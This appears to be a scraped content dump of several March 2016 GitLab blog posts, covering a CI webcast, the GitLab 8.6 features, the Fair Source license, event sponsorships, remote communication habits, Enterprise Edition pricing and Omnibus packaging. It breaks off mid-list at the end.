\"datePublished\": \"2016-03-28\",\n      }",{"title":38555,"description":38556,"authors":38560,"heroImage":38196,"date":38562,"body":38563,"category":299},[38561],"Heather McNamee","2016-03-28","\n\nSince GitLab 8.0, GitLab CI is an integrated part of GitLab. This web application\nmanages projects/builds and provides a nice user interface.\n\nIn our next webcast on April 14th, we'll take a look using continuous\nintegration in GitLab. Join the GitLab CI team to ask questions and find out\nhow to get the most out of the built-in continuous integration with GitLab.\n\n- Date: Thursday, April 14, 2016\n- Time: 9am PDT; 12pm EST; 5pm BST (British Standard time); (16:00 UTC)\n- [Register here][webcast]\n\nCan't make it? Register anyway, and we'll send you a link to watch it later.\n\n\u003C!-- more -->\n\n## Common questions about GitLab CI\n\nI have recently presented at meetups about GitLab, and CI generates lots of questions.\nThis is literally a list of questions I was asked at a recent Ruby meet-up:\n\n- Is it included in both CE (Community Edition) and EE (Enterprise Edition)? Yes!\n- Is GitLab CI free both on-premises and on GitLab.com? Yes!\n- Connecting Runners is free and I can use as many as I like? Yes!\n- Is it easy to set up and configure the Runners? Yes!\n- Are there Shared Runners I can use on GitLab.com? Yes!\n- Are you sure it's really free? Yes!\n\nI think mostly people were quite surprised and also delighted to see\nhow easy it was to configure GitLab CI. And of course a little incredulous that\nit's actually all built-in and free.\nNow you're probably wondering how to get started with it. Do join us\nfor the webcast, we'd love to hear your questions.\n\n## Find out more about GitLab CI\n\nVisit the [documentation to find out how to get started][ci-docs].\n\nWe've posted some great tutorials recently, check them out if you've missed them:\n\n- [Setting up GitLab Runner For Continuous Integration][blog-ios]\n- [Setting up GitLab CI for iOS projects][blog-runner]\n\nBenefits of [GitLab CI][benefits]\n\n- **Multi-platform:** You can execute builds on Unix, Windows and macOS.\n- **Multi-language:** Build scripts are command line driven and work with Java, PHP, Ruby, C, and any other language.\n- **Stable:** Your builds run on a different machine than GitLab.\n- **Parallel builds:** GitLab CI splits builds over multiple machines, for fast execution.\n- **Realtime logging:** A link in the merge request takes you to the current build log that updates dynamically.\n- **Versioned tests:** A [.gitlab-ci.yml file](http://doc.gitlab.com/ce/ci/yaml/README.html) that contains your tests, allowing everyone to contribute changes and ensuring every branch gets the tests it needs.\n- **Continuous Delivery (CD):** Continuous delivery and deployment are easy with multiple types of jobs, environmental variables and the [dpl gem](http://doc.gitlab.com/ci/deployment/README.html).\n\nWe can't wait to help you get started. Do you have any burning questions or\ndemos you'd like to see? Please share them in the comments!\nWe can cover them in our live webcast.\n\nSee you there!\n\n[benefits]: /solutions/continuous-integration/ [blog-ios]: /blog/setting-up-gitlab-ci-for-ios-projects/\n[blog-runner]: /blog/gitlab-runner-with-docker/\n[ci-docs]: http://doc.gitlab.com/ce/ci/\n[newsletter]: /company/contact/#newsletter\n[webcast]: http://page.gitlab.com/apr-2016-gitlab-intro-ci-webcast.html\n",{"slug":38565,"featured":6,"template":678},"webcast-continuous-integration","content:en-us:blog:webcast-continuous-integration.yml","Webcast Continuous Integration","en-us/blog/webcast-continuous-integration.yml","en-us/blog/webcast-continuous-integration",{"_path":38571,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38572,"content":38577,"config":38581,"_id":38583,"_type":16,"title":38584,"_source":17,"_file":38585,"_stem":38586,"_extension":20},"/en-us/blog/webcast-gitlab-86",{"title":38573,"description":38574,"ogTitle":38573,"ogDescription":38574,"noIndex":6,"ogImage":38196,"ogUrl":38575,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38575,"schema":38576},"Webcast Recording and Slides: GitLab 8.6","If you're new to GitLab, this webcast will give you a good overview of using GitLab, and if you're experienced you get to see the new features in action.","https://about.gitlab.com/blog/webcast-gitlab-86","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Webcast Recording and Slides: GitLab 8.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather McNamee\"}],\n        \"datePublished\": \"2016-03-25\",\n      }",{"title":38573,"description":38574,"authors":38578,"heroImage":38196,"date":38579,"body":38580,"category":8943},[38561],"2016-03-25","\n\nIn our latest webcast, we looked at highlights from GitLab 8.6.\n\nOur special guest, [Douwe Maan][Douwe], gave us a live demo of the latest features\nin [GitLab 8.6][releasenotes] with a special focus around improved confidentiality.\nWe looked at project configuration and user permissions to start.\nDouwe followed a typical GitLab workflow to demonstrate new features\nwhich make it easier to keep track of what is happening (subscribe to label)\nand features which save you time (create a new branch from an issue), and more.\n\nIf you're new to GitLab, this webcast will give you a good overview of using GitLab,\nand if you're experienced you get to see the new features in action.\n\nSign up to our [newsletter][newsletter]\nto make sure you don't miss any of our live webcasts.\n\n\u003C!-- more -->\n\nIn this webcast:\n\n- Demo: Feature highlights from GitLab 8.6\n- Highlight: Improved confidentiality with confidential issues and external users\n- Q&A: Questions from webcast attendees answered live\n- New resources: Getting started with GitLab Pages ([skip ahead](https://youtu.be/4r-dUrdpLo8?t=3128))\n- Community news! ([skip ahead](https://youtu.be/4r-dUrdpLo8?t=3284))\n\n## Webcast Recording\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/4r-dUrdpLo8\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\n## Webcast Slides\n\n\u003Cscript async class=\"speakerdeck-embed\" data-id=\"5e2c749028334614b567bc173a464d31\" data-ratio=\"1.77777777777778\" src=\"//speakerdeck.com/assets/embed.js\">\u003C/script>\n\n## Join our next webcast!\n\nIn our next webcast on April 14th, we'll take a look using continuous\nintegration in GitLab. Join the GitLab CI team for this introduction!\n\n- Date: Thursday, April 14, 2016\n- Time: 9am PDT; 12pm EST; 5pm BST (British Standard time); (16:00 UTC)\n- [Register here][webcast]\n\nCan't make it? Register anyway, and we'll send you a link to watch it later.\n\n[newsletter]: /company/contact/#newsletter\n[webcast]: http://page.gitlab.com/apr-2016-gitlab-intro-ci-webcast.html\n[Douwe]: https://twitter.com/DouweM\n[releasenotes]: /releases/2016/03/22/gitlab-8-6-released/\n",{"slug":38582,"featured":6,"template":678},"webcast-gitlab-86","content:en-us:blog:webcast-gitlab-86.yml","Webcast Gitlab 86","en-us/blog/webcast-gitlab-86.yml","en-us/blog/webcast-gitlab-86",{"_path":38588,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38589,"content":38594,"config":38599,"_id":38601,"_type":16,"title":38602,"_source":17,"_file":38603,"_stem":38604,"_extension":20},"/en-us/blog/gitlab-look-at-the-fair-source-license",{"title":38590,"description":38591,"ogTitle":38590,"ogDescription":38591,"noIndex":6,"ogImage":38196,"ogUrl":38592,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38592,"schema":38593},"GitLab Looked at the Fair Source License","At GitLab we have taken a close look at the Fair Source license to determine if it could apply to our situation.","https://about.gitlab.com/blog/gitlab-look-at-the-fair-source-license","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Looked at the Fair Source License\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Paul Machle\"}],\n        \"datePublished\": \"2016-03-24\",\n      }",{"title":38590,"description":38591,"authors":38595,"heroImage":38196,"date":38597,"body":38598,"category":299},[38596],"Paul Machle","2016-03-24","\n\nFunding an open source project and maintaining an organization to sustain that\nproject is a challenge. We've chosen an open-core model which means we have an\nMIT licensed open core, GitLab Community Edition (CE), and an extended GitLab\nEnterprise Edition (EE) for which we sell a license key to use. In this post\nwe will look at the Fair Source license.\n\n\u003C!--more-->\n\nOne of the key issues with commercializing open source software is licensing.\nThere are great examples of open source licenses which allow code to be viewable\nand modifiable. There are many examples of proprietary licenses which protect\nintellectual property and don't even allow users to view the source code.\nHowever, what license is appropriate for a project like GitLab in which users can view\nthe EE code, but pay to use it?\n\nThe Fair Source license aims to address that. On [Fair.io](https://fair.io/)\nthe license is summarized:\n\n> \"The Fair Source License allows everyone to see the source code and makes the\nsoftware free to use for a limited number of users in your organization.\nIt offers some of the benefits of open source while preserving the ability to\ncharge for the software.\"\n\nRecently my colleague, [Sytse](https://twitter.com/sytses) met Quinn Slack,\nco-founder and CEO of Sourcegraph which pioneered the Fair Source license. He\nsuggested we should review this.\n\nAt GitLab we have taken a close look at the [Fair Source license](https://fair.io/)\nto determine if it could apply to our situation.  We are very supportive of the\nFair Source license and business model and believe that it will have broad acceptance\ninto the market.\n\nWe evaluated the Fair Source license for use with our Enterprise offering.  In this\ncase there could be an application of the Fair Use license - i.e. allow up to a\ncertain number of users to use the product for free and then charging users once\nthey exceed a threshold. We already have a CE version that is used by more than\n100,000 organizations, in many cases with thousands of users. Given that we already\nhave a CE product, a free evaluation period and a free GitLab.com offering we felt\nthat introducing yet another model for using GitLab would create too much confusion\nin the market.  \n\nIn other aspects of licensing we have embraced the principles of the Fair Source\nlicense through allowing users to modify and publish patch releases both as fully\nlicensed customers which includes those users covered by an evaluation license.\nWe are open to suggestions on how we can do better on our\n[Enterprise Edition Source License](https://gitlab.com/gitlab-org/gitlab-ee/blob/master/LICENSE).\n",{"slug":38600,"featured":6,"template":678},"gitlab-look-at-the-fair-source-license","content:en-us:blog:gitlab-look-at-the-fair-source-license.yml","Gitlab Look At The Fair Source License","en-us/blog/gitlab-look-at-the-fair-source-license.yml","en-us/blog/gitlab-look-at-the-fair-source-license",{"_path":38606,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38607,"content":38612,"config":38615,"_id":38617,"_type":16,"title":38618,"_source":17,"_file":38619,"_stem":38620,"_extension":20},"/en-us/blog/sponsorship-update",{"title":38608,"description":38609,"ogTitle":38608,"ogDescription":38609,"noIndex":6,"ogImage":37745,"ogUrl":38610,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38610,"schema":38611},"GitLab Sponsorship Update","In this post, I'll give you an update of what we've sponsored recently as well as some insight into our priorities as we welcome more requests for sponsorship.","https://about.gitlab.com/blog/sponsorship-update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Sponsorship Update\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily Kyle\"}],\n        \"datePublished\": \"2016-03-24\",\n      }",{"title":38608,"description":38609,"authors":38613,"heroImage":37745,"date":38597,"body":38614,"category":6634},[27374],"\n\nIn this post, I'll give you an update of what we've sponsored recently as well\nas some insight into our priorities as we welcome more requests for sponsorship.\n\nWe’re so delighted with the interest in our [tech diversity sponsorship program][diversity]. Since we announced the program in early February, we've sponsored a number of great events.\n\n\u003C!-- more -->\n\n- [Rails Girls Brussels](http://railsgirls.com/brussels) February 19-20, 2016\n- [Django Girls Łódź](https://djangogirls.org/lodz/) Feb 27, 2016\n- [Rails Girls Tricity](http://railsgirls.com/tricity) March 5-6, 2016\n- [Rails Girls Atlanta](http://www.meetup.com/Rails-Girls-Atlanta/) March 30, 2016\n- [AlterConf](http://www.alterconf.com/) April 9, 2016\n- [ClojureWest](http://clojurewest.org/) Opportunity Scholarship April 15-16, 2016\n- [Django Girls Florence](https://djangogirls.org/florence/) April 17, 2016\n- [SciPyLA](http://conf.scipyla.org/) Opportunity Scholarship May 16-20, 2016\n- [Rails Girls Bialystok](http://railsgirls.com/bialystok) May 21-22, 2016\n\n## Rails Girls\n\nRails Girls is an important program for the Rails community.\nRails Girls aims to open up technology and make it more approachable for girls and women.\n\nOur colleagues Tomasz Maczukin and Grzegorz Bizon mentored at the recent\nTricity Rails Girls event, and there were even a few men attending to learn too!\n\nOur GitLab CE project was accepted as a Rails Girls Summer of Code project.\nWe’re really excited to get involved. My colleague, Yorick wrote about\n[Rails Girls Summer of Code](/blog/rails-girls-summer-of-code-2016/).\n\nWe've also invested as a Gold Sponsor, and the Rails Girls Summer of Code is still\nseeking support through their [crowd funding campaign](http://railsgirlssummerofcode.org/campaign/).\n\nPhotos used with permission from [Rails Girls Tricity](https://www.facebook.com/RailsGirlsTricity/?fref=photo).\n\n![Rails Girls Tricity](https://about.gitlab.com/images/blogimages/railsgirls-tomazs.jpg)\n\n![Rails Girls Tricity](https://about.gitlab.com/images/blogimages/railsgirls-grzegorz.jpg)\n\n## Sponsorship in areas of low opportunity\n\nIn other news, we are also sponsoring events which have a great impact at a local level.\nIt's part of our [strategy][strategy] to sponsor initiatives in countries that have low\nopportunity, and less access to funding.\nSince we're a distributed company, it also means we can send colleagues to\nparticipate in these events.\n\n- [TechParty - 2016](http://techparty.faccat.br/)  April 25 - 28, 2016.\n- [Cuba Startup Meetup](http://www.meetup.com/merchise/) Dates TBD\n\nIt's certainly an area we can improve, so we're looking forward to hearing your\nproposals!\n\n## Reach out to us about sponsorship\n\nIf you would like us to sponsor your next event, please check out\nour [community sponsorship program][sponsorship]. You can also see\n[where our team][team] is if you want to connect to someone in your local region\nfor attending or speaking.\n\n[team]: /company/team/\n[sponsorship]: /community/sponsorship/\n[diversity]: /2016/02/02/gitlab-diversity-sponsorship/\n[strategy]: /company/strategy/\n",{"slug":38616,"featured":6,"template":678},"sponsorship-update","content:en-us:blog:sponsorship-update.yml","Sponsorship Update","en-us/blog/sponsorship-update.yml","en-us/blog/sponsorship-update",{"_path":38622,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38623,"content":38629,"config":38633,"_id":38635,"_type":16,"title":38636,"_source":17,"_file":38637,"_stem":38638,"_extension":20},"/en-us/blog/remote-communication",{"title":38624,"description":38625,"ogTitle":38624,"ogDescription":38625,"noIndex":6,"ogImage":38626,"ogUrl":38627,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38627,"schema":38628},"To Work Remotely You Need: Wifi & Good Communication Habits","In this post, we’re looking at how solid communication can be implemented as in a set of rules, like we have here at Gitlab","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684641/Blog/Hero%20Images/phones.jpg","https://about.gitlab.com/blog/remote-communication","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"To Work Remotely You Need: Wifi & Good Communication Habits\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2016-03-23\",\n      }",{"title":38624,"description":38625,"authors":38630,"heroImage":38626,"date":38631,"body":38632,"category":6634},[711],"2016-03-23","\n\nCommunicating clearly is important in almost every profession, but if you work\nremotely (or if you hope to integrate remote working into your company culture),\nit’s indispensable. In this post, we’re looking at how solid communication can be\nimplemented—as in a set of rules, [like we have here at Gitlab][handbook]—and\nwhy you should think about doing just that.\n\n\u003C!-- more -->\n\n## Asynchronous Communication, So Everyone Can Focus\n\n[“Asynchronous communication”](/company/culture/all-remote/asynchronous/) means we’re all getting information from each other\nat a time when we can handle it—usually not “live.” This is important for the\nvery simple reason that most programmers need head space to focus on what we do.\nYou can minimize interruption by setting up a “preference list” for how to contact\nyour remote team. At GitLab, issues are most preferred, then email, then chat.\n\nAsynchronous also refers to the fact that you’re not expected to immediately\nrespond if, for example, a colleague or even your boss emails you on the weekend.\nJust reply on Monday. Likewise, if something is urgent, we encourage team members\nto go ahead and ping someone on chat whenever—that’s how we know it’s urgent.\n\n## Go Public, Not Private\n\nWe find that our team functions most smoothly when people ask a lot of questions,\nand open those questions out to everyone. This means going via issues or public\nchat channels versus person-to-person emails or private messages. Why? Because\nthen you get answers faster, and also this way everyone sees the answer – which\nsaves time for the team in the long run, because that question was bound to come\nup again.\n\nIf you urgently need an answer from one person (and you know that person is the\n  one with the answer you need) mention them by name. This still gives others\n  the opportunity to learn and chime in.\n\n## One Thing at a Time\n\nOne thing that happens a lot is that someone will pack several questions into a\nsingle email, and then something in that email (or post, or whatever) gets\nforgotten about and isn’t ever resolved, or there’s a big delay on one item\nthat affects everything else. This is one way things fall through the cracks.\n\nTo keep that to a minimum, we ask our team to stick to one question or problem\nper email/issue. This also makes it easier to search for issues in your comms\narchives.\n\n## Links! Links!\n\nIf you mention something like a website or document in your message to the team,\nif possible include a link. This shortens the time it will take for people to\nfind that item, and it decreases opportunities for confusion.\n\n## Reply UNTIL IT’S DONE.\n\nWe always reply to emails, even when no action is needed, just to let the other\nperson know the email was received. A thread is considered finished for us when\nthere’s a single word reply, like “ok” or “thanks” or “done.”\n\n## Be a Human\n\nObviously all these rules can seem, eh, a little robotic at first. It’s also\nimportant to actually be a human being, not just disembodied text. If you’re on\nvideo chat—which you can and should do, especially if you find you’re going back\nand forth over chat—have your kid/wife/husband/etc. pop their head in and say\nhello, because this is one of the great perks of remote working! Also this way\neveryone knows you’re not AI.\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">I really want to thank \u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a> for this document, the communications section is changing how I lead.\u003Ca href=\"https://t.co/Bsvzpon0pE\">https://t.co/Bsvzpon0pE\u003C/a>\u003C/p>&mdash; Jesse Noller (@jessenoller) \u003Ca href=\"https://twitter.com/jessenoller/status/710220595963645952\">March 16, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nAlso, say thanks to your coworkers to let them know that you know THEY’RE human,\ntoo! We have a “Thanks” chat channel just for this purpose, where we ask GitLab\nemployees to mention each other by name and say thanks for specific things.\nIt just makes things nicer.\n\nHave an idea for something we missed? Mention it in comments. Also feel free to\nsteal our entire [communications handbook][handbook]. That’s why we put it online!\n\n[handbook]: /handbook/communication\n",{"slug":38634,"featured":6,"template":678},"remote-communication","content:en-us:blog:remote-communication.yml","Remote Communication","en-us/blog/remote-communication.yml","en-us/blog/remote-communication",{"_path":38640,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38641,"content":38646,"config":38651,"_id":38653,"_type":16,"title":38654,"_source":17,"_file":38655,"_stem":38656,"_extension":20},"/en-us/blog/gitlab-enterprise-edition-price-change",{"title":38642,"description":38643,"ogTitle":38642,"ogDescription":38643,"noIndex":6,"ogImage":12013,"ogUrl":38644,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38644,"schema":38645},"GitLab Enterprise Edition price change","We are announcing an update to pricing for GitLab Enterprise Edition. We have replaced the three subscription plans with one simplified plan.","https://about.gitlab.com/blog/gitlab-enterprise-edition-price-change","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Enterprise Edition price change\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chad Malchow\"}],\n        \"datePublished\": \"2016-03-21\",\n      }",{"title":38642,"description":38643,"authors":38647,"heroImage":12013,"date":38649,"body":38650,"category":299},[38648],"Chad Malchow","2016-03-21","\n\nToday we are announcing an update to pricing for GitLab Enterprise Edition. We have replaced the three subscription plans (Basic, Standard, and Plus) with one simplified plan.\nPlease visit our [Pricing page](/pricing/) for more information, or read on for a summary.\n\n\u003C!--more-->\n\n### What has changed?\n\nPreviously, we had a minimum seat purchase, which required you to buy\n10 seats for the Basic package and 100 seats for Standard and Plus.\nNow we've removed the seat minimums so you can purchase a [GitLab Enterprise Edition](/enterprise/) (EE) license per-seat.\n\nThe price per seat will remain the same, $39 per year per seat.\nThis is the same price as the Basic Plan.\n\nWe will now offer Premium Support; which includes 24x7 emergency support, two training workshops,\nupgrade assistance, support for High Availability and direct access to GitLab's internal chat channel for support, as add-on Products to a\nGitLab Enterprise Edition license. Premium Support was previously part of our Standard Subscription and did not include training workshops or direct access to support team.\nThe cost for Premium Support will be $9,900/year and $99 per seat over 100 seats,\nwith a maximum charge of $50,000.\n\n### Why we are changing pricing now?\n\nWe're doing this for a number of reasons:\n\n- We want to enable people to order individual licenses. Now, if you need 2 licenses\nyou don't need to buy a pack of 10 or if you need 104 you don’t need to buy two licenses of 100.\n- We want to avoid raising the price of our basic package.\n- We will also be offering additional Products for organizations to purchase with their EE subscription. Products will be specific features which certain organizations will find valuable. We want to charge only the people that use these Products instead of raising the price for everyone. An example of an additional Product, is [GitLab Geo](http://doc.gitlab.com/ee/gitlab-geo/README.html) for $99/year/user.\n- We want to charge more for 24/7 support.\n- Our plus package wasn't customizable enough for what our customers were requesting.\n\n### What does this mean for our current clients?\n\n- We will honor all current contracts, until their renewal, providing them the support they signed up for.\n- Existing clients can renew their subscription early and lock in old\npricing by [contacting our sales team](/sales/).\nDeadline for early renewals is April 30, 2016.\n- Existing customers get 50% discount for first year of premium support.\n- Current Plus subscribers get all future Products that work with an Enterprise Edition license for FREE while they are on the Plus plan.\n\n### Examples of how this pricing might affect you\n\n- Currently on Basic with 3 users? Your cost decreases from $390 to $117.\n- Currently on Basic with 10 users? Your cost stays the same, $390.\n- Currently on Standard with 100 users with Premium Support? Your cost increases from $4900 to $8850 (with the 50% discount)\n- Currently on Standard with 110 users with Premium Support? Your cost decreases from $9800 to $9735 (with the 50% discount)\n- Currently on Standard with 150 users with no support? Your cost decreases from $9800 to $5850\n\n[pricing]: /pricing/\n",{"slug":38652,"featured":6,"template":678},"gitlab-enterprise-edition-price-change","content:en-us:blog:gitlab-enterprise-edition-price-change.yml","Gitlab Enterprise Edition Price Change","en-us/blog/gitlab-enterprise-edition-price-change.yml","en-us/blog/gitlab-enterprise-edition-price-change",{"_path":38658,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38659,"content":38665,"config":38668,"_id":38670,"_type":16,"title":38671,"_source":17,"_file":38672,"_stem":38673,"_extension":20},"/en-us/blog/using-omnibus-gitlab-to-ship-gitlab",{"title":38660,"description":38661,"ogTitle":38660,"ogDescription":38661,"noIndex":6,"ogImage":38662,"ogUrl":38663,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38663,"schema":38664},"Using the Omnibus GitLab package to ship GitLab","Take a look at what kind of decisions we need to make on every release of GitLab and how omnibus-gitlab package fits into this process.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684635/Blog/Hero%20Images/cat-in-the-box.jpg","https://about.gitlab.com/blog/using-omnibus-gitlab-to-ship-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Using the Omnibus GitLab package to ship GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marin Jankovski\"}],\n        \"datePublished\": \"2016-03-21\",\n      }",{"title":38660,"description":38661,"authors":38666,"heroImage":38662,"date":38649,"body":38667,"category":734},[30568],"\n\nTwo years ago we announced that [GitLab is now simple to install] to great\ntriumph. Since then, GitLab has grown to become an irreplaceable tool for\nmany professionals. Part of this success can certainly be credited to an easier\ninstallation process using the omnibus-gitlab packages. The packages, however,\nseem to have polarized people to either\n[love](https://twitter.com/invalidusrname/status/673862628125614080)\n[them](https://twitter.com/Merenon/status/692027386272047104), or\n[hate](https://twitter.com/phessler/status/672747920635109376)\n[them](https://twitter.com/jiphex/status/672746104103051265).\n\nLet's take a look at what kind of decisions we need to make on\nevery release of GitLab and how omnibus-gitlab package fits into this process.\n\n\u003C!--more-->\n\n## Omnibus concept\n\nThe [Omnibus project] is the brainchild of Chef Inc.\nTheir product, Chef Server, was notoriously hard to install and configure. To\ntackle this issue the Omnibus project was created. The idea behind it was to\nhave one binary package for the supported OS that would install all required\ndependencies and allow configuration of each required component.\nThis meant that the end binary package will not be lean like the packages\nthat people usually encounter. In fact, they will be \"fat\" and\nhence [the name Omnibus].\nThis also meant going against [the Unix design principles] which favor\n[composable components] as opposed to [monolithic software] (which reminds Unix\nusers too much of Windows software).\n\nThe concept is simple:\n\n* Have one binary package that contains all required components.\n* Make sure that a specific version of the package has all required components.\n* Make sure that the supplied components have the version that is known to work\n  in a predictable manner with other components.\n\n## Installing GitLab from source\n\nGitLab is facing similar challenges.\n[Installation and upgrade guides] for what we call *installation from source*\nare available but they are at least 10 pages long.\n\nThey show how to install and configure multiple dependencies,\nsystem users, which directories and files need to exist, and user permissions\nthey need to have and so on. Installing a wrong version of a dependency\nmeans that things might not work as expected, so it is imperative to follow the\nguide strictly to the letter.\n\nUpgrading can sometimes be challenging. The update guide is shorter but there are time constraints that can make the upgrade stressful. Having everyone breathing down\nyour neck and expecting everything to go smoothly makes upgrading very stressful.\n\n## Omnibus-gitlab\n\nEnter the omnibus-gitlab package.\n\nAnyone should be able to install and configure GitLab with minimum knowledge.\nGitLab should be available on the most widely-used Linux distributions.\n\nWe want the focus to be on GitLab and its features.\nInstallation and upgrades should be easy and almost enjoyable!\n\nThis is how omnibus-gitlab was born.\n\nBenefits for everyone:\n\n1. Users need only to apply minimal effort to install GitLab.\n1. Users need only to provide minimum configuration to get GitLab up and running.\n1. Users can easily upgrade between GitLab versions.\n1. Users are encouraged to upgrade to the latest version of GitLab which is\nalways better than the previous one.\n\nBenefits for the maintainers of GitLab:\n\n1. We provide our users with only one binary package they would need to\ninstall.\n1. We ship packages for multiple platforms at the same time.\n1. We make sure that the components that GitLab requires for a specific\nversion are shipped.\n1. We know that the components are running on versions that are compatible.\n1. It becomes easier to support any issues users have because we have a more\nconsistent environment.\n1. We maintain one project that covers all of the above.\n\nThe last point is very important for a project like GitLab.\n\nGitLab has a monthly release cycle. Every month on the 22nd we need to release\na new version. We usually follow up the release with a couple of patch releases\nto address any regressions that might have been introduced previously.\nGiven how important GitLab is to the development infrastructure, we need to be\nable to react quickly to any vulnerabilities in GitLab or any of its components.\n\n### A Silver Bullet?\n\nNot quite.\n\nThe omnibus-gitlab package does a lot for the end user but because of that it\nmakes a lot of choices for the user. It will create the directories and files\non the file system and assume that it can do so.\nIt will create the system users. It will occupy the ports it needs.\nIt ships with its own UNIX init supervision system, runit.\nIt ships with libraries that may already exist on the system\n(albeit maybe of a different version).\n\nFor a very large portion of users all of the above won't matter but there are\nenvironments which are highly restrictive.\nThe package has a lot of configuration to make it easier to adjust to the\nenvironment but this can be a lot of work to get right.\nWe are always working on making the package even more customizable while\nassuming the best possible defaults for users who don't need to customize.\nHowever, it is a marathon rather than a sprint.\n\n### Alternatives to Omnibus we've considered\n\nWe are always evaluating the new options that become available.\nLet's take a look at a few of the options that we've already considered.\n\n#### Docker images\n\nTwo years ago Docker was still a very new project. It had problems like any new\nproject (like us!) The number of users using it in production is growing but\nwe could not and cannot count on everyone supporting Docker in their\nenvironments. Introducing Docker into your environment adds another piece of\nsoftware that needs support and not everyone can add this layer.\n\nThe packages in .deb and .rpm archive format are usually allowed in most if not\nall systems.\n\nWe do release new [Docker] images on every release as an additional method of\ninstalling GitLab.\n\n#### Native Debian Packages\n\nUsers encouraging us to ship GitLab as a native Debian package usually say that\nthis would keep us in line with the Unix design principles and we can leverage\npackages that already exist on the system instead of reinventing the wheel! You\nmost likely already have openssl installed on your system, why do you want to\nship another one?\n\nLet's take a look at what that would entail:\n\n1. Packaging over 300 Ruby gems as separate packages. (This is Spartaaa!)\n1. If a component version we require does not exist in the system package\nrepository, tell the user to compile it.\n1. Do this at least once a month to be able to follow the monthly release.\n1. Make sure that any change that was created in GitLab by us or any of the\ncontributors does not break the package.\n\nNative packages are more suited for the slower release cycles and this clashes\nwith the way GitLab does releases.\n\nWe also don't have enough expertise and big enough team to do native packaging.\nIt is a lot of work and we would need a dedicated team only for the packaging\nfor this specific platform.\n\nThere is some good news though!\nPirate Praveen has been working for the past 6-8 months on\n[native Debian packages].\nThe packages are almost ready to be included in the Debian package\nrepository.\n\nThis will allow all users who do not want the omnibus-gitlab package to touch\ntheir system to easily install GitLab.\n\nWe have yet to see how much of an effort will it be to release new\nversions but this is something that will be announced once the packages are\nready.\n\n#### Native Fedora Packages\n\nThis case is pretty much the same as the native Debian packages.\nThere was an attempt to package GitLab for Fedora as a part of the\n[Google Summer of Code project] by Achilleas Pipinellis, who has since become\na GitLab team-member. Through that effort, we learned it is a multi-person\njob and packaging alone is a lot of work. So, the project was never completed.\n\nIf you are interested in helping to create the native Fedora packages,\nyou can leave your comment in\n[this issue on GitLab CE issue tracker.](https://gitlab.com/gitlab-org/gitlab-ce/issues/14043)\n\n#### Anything else\n\nWe've been asked a few times why we don't just let Chef, Puppet, or Ansible to\nbe configured by the developer.\n\nYou can still use your favourite configuration management tool to do this work.\nHowever, be advised that it is _still_ a lot of work. That also means that for\nevery GitLab update, the administrator needs to go through a list of changes\nand see if they need to upgrade the software. If they don't, GitLab might not\nwork as expected.\nThe end user most likely won't care how the setup is done, they might just see\nsomething not working as they would expect. That is a risk we want to remove if\nwe can.\n\n\n## Conclusion\n\nOne of GitLab's strengths is that we are able to have a very short release\ncycle, getting the updates to all our users very quickly.\nThe omnibus-gitlab packages aren't perfect but they are currently the best\noption currently for frequent GitLab updates.\n\nIf you consider the amount of time required to maintain eight packages\n(four platforms, one package each for CE and EE, two docker images,\ntwo Raspberry Pi 2 packages),\nthe monthly release cycle, and making upgrades between versions and\ninstallations as simple as possible,\nthen omnibus-gitlab is doing a very good job.\n\n[A lot](https://twitter.com/choyer/status/670273120566120449)\n[of users](https://twitter.com/jrblier/status/613077041219399681)\n[that have been using](https://twitter.com/mickael_andrieu/status/646278424936480768)\nthe omnibus-gitlab packages\n[to maintain](https://twitter.com/invalidusrname/status/673862628125614080)\n[their GitLab installation](https://twitter.com/J_Salamin/status/687884326629937152)\n[seem to](https://twitter.com/alexzeitler_/status/692812151296282625)\n[agree with this](https://twitter.com/berkeleynerd/status/692093491149582339).\n\nWith the omnibus-gitlab packages available for everyone, we can work in parallel\nto create more ways to install GitLab.\n\nWant to help improve omnibus-gitlab package? Contribute to omnibus-gitlab at the\n[omnibus-gitlab repository].\n\nWant to work on making GitLab available on your favourite platform but need\nsome feedback? Get in touch through the [GitLab CE issue tracker].\n\nAre you in New York on April 12th, 2016?\nAsk me a question at the [Software Architecture Conference] where I'll be\nspeaking about Shipping a Ruby on Rails stack to thousands of companies every\nmonth.\n\n\n[GitLab is now simple to install]: /blog/gitlab-is-now-simple-to-install/\n[Omnibus project]: https://github.com/chef/omnibus\n[the name omnibus]: https://en.wikipedia.org/wiki/Omnibus\n[the 